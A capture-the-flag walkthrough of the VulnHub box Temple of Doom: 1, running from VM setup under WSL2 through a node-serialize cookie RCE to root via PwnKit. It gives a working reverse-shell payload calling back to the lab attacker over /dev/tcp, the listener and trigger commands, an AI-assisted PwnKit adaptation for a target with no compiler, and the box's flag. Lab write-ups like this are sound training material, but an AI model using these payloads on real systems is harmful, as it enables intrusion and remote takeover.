9 min read

Temple of Doom: 1 Full Walkthrough — From Environment Hell to PwnKit

Temple of Doom: 1 Full Walkthrough — From Environment Hell to PwnKit
Target: Temple of Doom: 1 (VulnHub, by 0katz, 2018)
Difficulty: Easy/Intermediate, the author notes "2 ways to get root"
Environment: WSL2 Kali + libvirt/KVM

Intro: this isn't just a walkthrough, it's a full battle log

Most Temple of Doom writeups jump straight from nmap to root in a couple of moves. This one is different — it records something more real and far more common: before I ever finished recon, I spent an entire day wrestling with just getting the VM to boot.

Half the value of this box is the attack chain itself (the node-serialize RCE is a gorgeous Node.js bug); the other half is all the stuff nobody puts in a writeup: the compatibility hell of running a virtualization environment under WSL2, how to tell what's going on when the service on the intended path never started, and how to hand-craft a PwnKit exploit on a target with no compiler, AI-assisted.

The full kill chain (spoilers ahead — feel free to skip):

  1. Environment setup (QEMU → libvirt, working around the WSL2/VirtualBox Hyper-V conflict)
  2. Recon → a Node.js Express app on port 666
  3. The cookie is a Base64 serialized object → break it to blow up a stack trace → confirm node-serialize
  4. node-serialize deserialization RCE (CVE-2017-5941) → nodeadmin
  5. Privesc: the intended path (ss-manager injection → fireman → tcpdump) vs. the PwnKit (CVE-2021-4034) I actually took

0. Environment hell: getting this VM to run inside WSL2

This section is honestly worth an article of its own (there's a separate write-up), so I'll condense it here — because it's the part of this box that ate up the most time by far.

Why bare QEMU and VirtualBox both fail

Running a VulnHub .ova inside WSL2 (Intel + RTX 3080 Ti), there are three paths in theory. After testing, only one lived:

  • Bare QEMU + hand-rolled tap/bridge/dnsmasq: workable but fragile. I kept hitting tap NO-CARRIER (multiple QEMU instances fighting over the same tap), mismatched interface names, and port conflicts.
  • VirtualBox: Oracle's own forums are definitive on this — WSL2 requires Hyper-V, and when Hyper-V is present VirtualBox can only run in "compatibility mode" (the infamous green turtle), which is alpha quality and crashes constantly in practice. This VM ultimately refused to boot under VirtualBox thanks to the missing Host-only adapter combined with the Hyper-V conflict.
  • libvirt/KVM: the path that finally worked.

Why libvirt works: a lucky PCI slot coincidence

The key insight: libvirt's e1000 NIC lands consistently on PCI bus 0 / slot 3, and Linux's predictable naming scheme names it enp0s3 — which happens to be exactly the interface name most VirtualBox boxes expect. Bare QEMU's custom topology puts the NIC in a different slot, so the name doesn't match, the guest never brings the NIC up on boot, and it never gets an IP.

That said, Temple of Doom is Fedora 28 and uses NetworkManager to manage the NIC automatically (unlike Debian-family distros that hard-code things in /etc/network/interfaces), so it's actually the easiest kind to handle — just import it and it picks up an IP.

The full boot procedure:

# Unpack + convert to qcow2 (the VMDK inside the .ova is streamOptimized read-only, so it must be converted; keep it on native ext4, not under /mnt)
tar xf temple-of-DOOM-v1.ova
qemu-img convert -p -O qcow2 *.vmdk TempleOfDoom.qcow2

# Before importing, detect the OS / networking mechanism (a lesson paid for in blood on the Node box)
sudo virt-cat -a TempleOfDoom.qcow2 /etc/os-release        # → Fedora 28
# No /etc/network/interfaces (Fedora uses NetworkManager, doesn't care about the interface name)

# Import onto the default NAT network
sudo virt-install --name TempleOfDoom --ram 2048 --vcpus 2 \
  --disk path=TempleOfDoom.qcow2,format=qcow2,bus=sata \
  --network network=default,model=e1000 \
  --os-variant generic --import --graphics vnc,listen=127.0.0.1 --noautoconsole

# Grab the target IP (libvirt's interface is vnet*, not tap0 — don't diagnose the wrong interface)
sudo virsh net-dhcp-leases default        # → 192.168.122.140

1. Recon

sudo nmap -p- -sV -sC 192.168.122.140

Only two ports — a very concentrated attack surface:

Port Service Notes
22 OpenSSH 7.7 Park it for now
666 Node.js Express Primary attack surface (the number of the beast, on-theme for Doom)

Port 666 runs a Node.js Express app whose home page just returns Under Construction, Come Back Later! (8 bytes), and directory brute-forcing (feroxbuster with a general wordlist) comes up almost empty — which is par for the course with Express: routes are defined in code, not on the filesystem, so a generic wordlist can't guess them.

2. Foothold: node-serialize deserialization RCE

whatweb reveals the key detail:

Set-Cookie: profile=eyJ1c2VybmFtZSI6IkFkbWluIiwi...
X-Powered-By: Express

That eyJ prefix is Base64-encoded JSON. Decode it:

echo "eyJ1c2VybmFtZSI6IkFkbWluIiwi..." | base64 -d
# {"username":"Admin","csrftoken":"...","Expires=":Friday, 13 Oct 2018 ...}

The server stuffs identity information into a "client-readable, client-writable Base64 JSON" blob, and the format isn't even standard JSON ("Expires=": has unbalanced quoting) — which hints the server uses some kind of deserialization, not a plain JSON.parse.

One of the most effective recon tricks against a box: send input the server can't parse and make it cough up an error.

curl -s -i http://192.168.122.140:666/ -b "profile=aW52YWxpZA=="

The response is a whole Express stack trace, and the gold is in these lines:

at Object.exports.unserialize (/home/nodeadmin/.web/node_modules/node-serialize/lib/serialize.js:62:16)
at /home/nodeadmin/.web/server.js:12:29

Three decisive pieces of intel:

  • It uses node-serialize (which has the famous RCE bug CVE-2017-5941)
  • The app runs as nodeadmin, out of /home/nodeadmin/.web/
  • Line 12 of server.js is where it calls unserialize on the cookie

Later, once I had a shell and read server.js, it confirmed the attack surface:

var serialize = require('node-serialize');
app.get('/', function(req, res) {
    if (req.cookies.profile) {
        var str = new Buffer(req.cookies.profile, 'base64').toString();
        var obj = serialize.unserialize(str);   // ← the fatal line
        ...

2.3 How the node-serialize RCE works, and exploiting it

node-serialize's unserialize() has a fatal design flaw: when it encounters a field flagged as a function (the format _$$ND_FUNC$$_function(){...}), it uses eval to turn it back into a function — and if you append () after the function (an IIFE, an immediately-invoked function expression), that code runs the moment it's deserialized.

The reverse-shell payload (the attacker IP is 192.168.122.1 on the libvirt subnet):

# Kali listener
nc -lvnp 4444

# Build the malicious cookie (node child_process reverse bash)
PAYLOAD='{"username":"_$$ND_FUNC$$_function(){require(\"child_process\").exec(\"bash -c \\\"bash -i >& /dev/tcp/192.168.122.1/4444 0>&1\\\"\");}()","csrftoken":"x","Expires=":"x"}'
B64=$(echo -n "$PAYLOAD" | base64 -w0)
curl -s http://192.168.122.140:666/ -b "profile=$B64"

The shell fires back, and id confirms the foothold:

uid=1001(nodeadmin) gid=1001(nodeadmin) groups=1001(nodeadmin)
Linux localhost 4.16.3-301.fc28.x86_64 ... Fedora 28
This IIFE-in-a-cookie technique is the same species as ordinary API command injection: any "user-controlled input treated as code to execute" is an RCE.

3. Privesc: why the intended path was a dead end, and the path I actually took

After landing as nodeadmin, privesc stalled for a very long time. This section records two things: the author's intended path (and why it didn't work this time), and the PwnKit that actually worked.

3.1 System overview

Users: nodeadmin(1001), fireman(1002)
Anomaly: /usr/bin/bash and /usr/bin/zip are owned by fireman (0755, no SUID)
SUID: exim (service not running), pkexec, newuidmap/newgidmap, etc.
mysql.bak / wordpress DB: present but root:root, unreadable; no mysql client on the box

My initial assumption was "dig through files/the DB for the fireman password," but I searched everywhere and found nothing — the truth only became clear much later.

3.2 A few dead ends (recorded so nobody repeats them)

  • exim 4.91 (CVE-2019-10149, raptor_exim_wiz): the SUID binary is present and the version is affected, but ss -tlnp | grep 25 shows the exim service isn't listening at all. The exploit delivers its payload through exim, so with the service down there's nothing to hit. The author left a "has SUID but isn't running" exim as a decoy.
  • Hunting for passwords: .web only has the Node dependencies, .config only has pulseaudio, uploads are all Doom game images, and wp-config is unreadable. The password isn't in any file.
  • CVE-2018-18955 (subuid_shell): linpeas flagged it as highly probable and it hits the Fedora 28 kernel dead-on. After cross-compiling and setting the correct /etc/subuid mapping value (165536) I did get into namespace root, but — the uid_map only maps UID 0-999, and real root (host UID 0) falls outside the mapping — so /root and /etc/shadow show up as nobody:nobody and stay unreadable. This exploit gives you a "DAC bypass for files inside the mapped range," which can't reach real root's files.

3.3 The truth about the intended path (why it broke this time)

Every writeup online takes these two steps, but they all share one prerequisite: the ss-manager service has to be running.

The lateral-movement mechanism the author designed is: at boot, either /etc/rc.d/rc.local or a fireman @reboot cron job starts ss-manager (shadowsocks's management daemon), which listens on UDP 8839 — but this boot that startup mechanism never fired (the rc.local line was commented out / the cron didn't trigger), so:

  • There was no fireman process
  • Nobody was listening on UDP 8839
  • Neither of the intended paths had a service to attack

This explains why "digging for a fireman password" was the wrong direction from the very start — the intended path was never about a password, it was about attacking the ss-manager service, and that service never came up. I didn't go this route, so if you want it, refer to someone else's writeup.

3.4 The path I actually took: PwnKit (CVE-2021-4034)

Since the intended path's service was down and every other exploit was stuck, I finally switched to a route no writeup uses but that depends on no service at all — PwnKit, straight from nodeadmin → root.

How it works, in three layers:

  1. The root cause — pkexec's argv out-of-bounds: pkexec (SUID root) processes argv in a loop that starts at argv[1]. If you call it via execve with argc=0 (an empty argv), the loop reads memory past the end of the argv array — i.e. the environment-variable region — and thus mistakes env vars for arguments, producing an OOB read/write.
  2. The exploit — loading a malicious module via GCONV_PATH: during pkexec's run it invokes glibc's character conversion, and glibc loads a gconv module (a .so) based on the GCONV_PATH environment variable. Using the OOB to inject a controlled GCONV_PATH pointing at a malicious .so whose constructor is the payload — and because pkexec is SUID root, the payload runs as root when it's loaded → privesc.
  3. Reliability: this is a logic bug, not memory corruption, so it needs no ASLR bypass and no address leak. Practically every Linux with pkexec is vulnerable, and Fedora 28's (2018) pkexec is of course unpatched (the CVE wasn't published until 2022).

The customization for this box (the crux: no compiler):

The target has no C compiler whatsoever (which gcc cc clang tcc turns up only make), and the public PoCs (like berdav/CVE-2021-4034) are C that must be compiled — unusable. The fix comes in two parts:

  • The malicious gconv module (pwnkit.so): cross-compiled on Kali (the host), deliberately using only a very old symbol version like GLIBC_2.2.5 to guarantee it loads on the target's glibc 2.27 (backward compatibility). This piece has to be a pre-built binary because the target can't compile.
  • The trigger (driver.py): rewritten in Python + ctypes (the target has python3, no compilation needed) to reimplement the C PoC's trigger logic — because from a shell you can't pass a "truly empty argv" (a shell always includes argv[0]), whereas ctypes can directly control execve and pass an empty array.

Firing it:

python3 /tmp/.p/driver.py
# drop into a root sh
id                                              # uid=0(root)
cat /root/flag.txt                              # kre0cu4jl4rzjicpo1i7z5l1
python3 -c 'import pty;pty.spawn("/bin/bash")'  # upgrade to a full bash
Takeaway: this is actually a great example of "AI-assisted exploit development" — the public PoC couldn't be used as-is (needs compilation, target has no compiler), so working from the bug's underlying principle I reimplemented it using tools the target does have (Python + a cross-compiled .so).

Methodology you can take with you

  • Attacking Express/Node apps: routes are defined in code, so generic wordlist brute-forcing often comes up empty. Instead look at response headers, serialized objects (cookies), and break inputs to blow up a stack trace — let the app leak its own structure.
  • Serialization is an attack surface: when you see a Base64 object + non-standard JSON, first ask "how does it deserialize this?"; node-serialize's IIFE trick is a Node RCE classic.
  • Strategy when privesc stalls: when one route keeps hitting walls (the intended path's service is down, other exploits' prerequisites aren't met), pivot to a service-independent, reliable route (PwnKit) — but don't forget to circle back and understand the intended design; that's the box's actual teaching core.
  • Targets with no compiler: cross-compile a static binary, or reimplement the exploit with an interpreter (Python + ctypes) — an essential skill for modern, stripped-down boxes.
  • PwnKit is the privesc Swiss army knife: a logic bug, no ASLR bypass needed, and nearly every Linux with pkexec is vulnerable; when you're stuck it's worth checking first whether pkexec exists and is unpatched.

This is an educational writeup of the Temple of Doom: 1 box. Everything was done in an isolated local environment — never test any unauthorized system.